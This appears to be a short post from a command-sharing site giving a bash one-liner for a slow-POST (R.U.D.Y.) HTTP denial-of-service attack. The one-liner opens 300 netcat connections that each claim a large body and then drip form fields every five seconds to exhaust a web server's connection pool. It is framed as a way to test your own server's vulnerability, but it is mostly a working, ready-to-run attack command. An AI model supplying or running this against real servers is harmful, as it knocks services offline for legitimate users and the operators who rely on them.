Performs Layer 7 HTTP DoS attack

for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!

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By: elceef
2015-04-15 14:02:55

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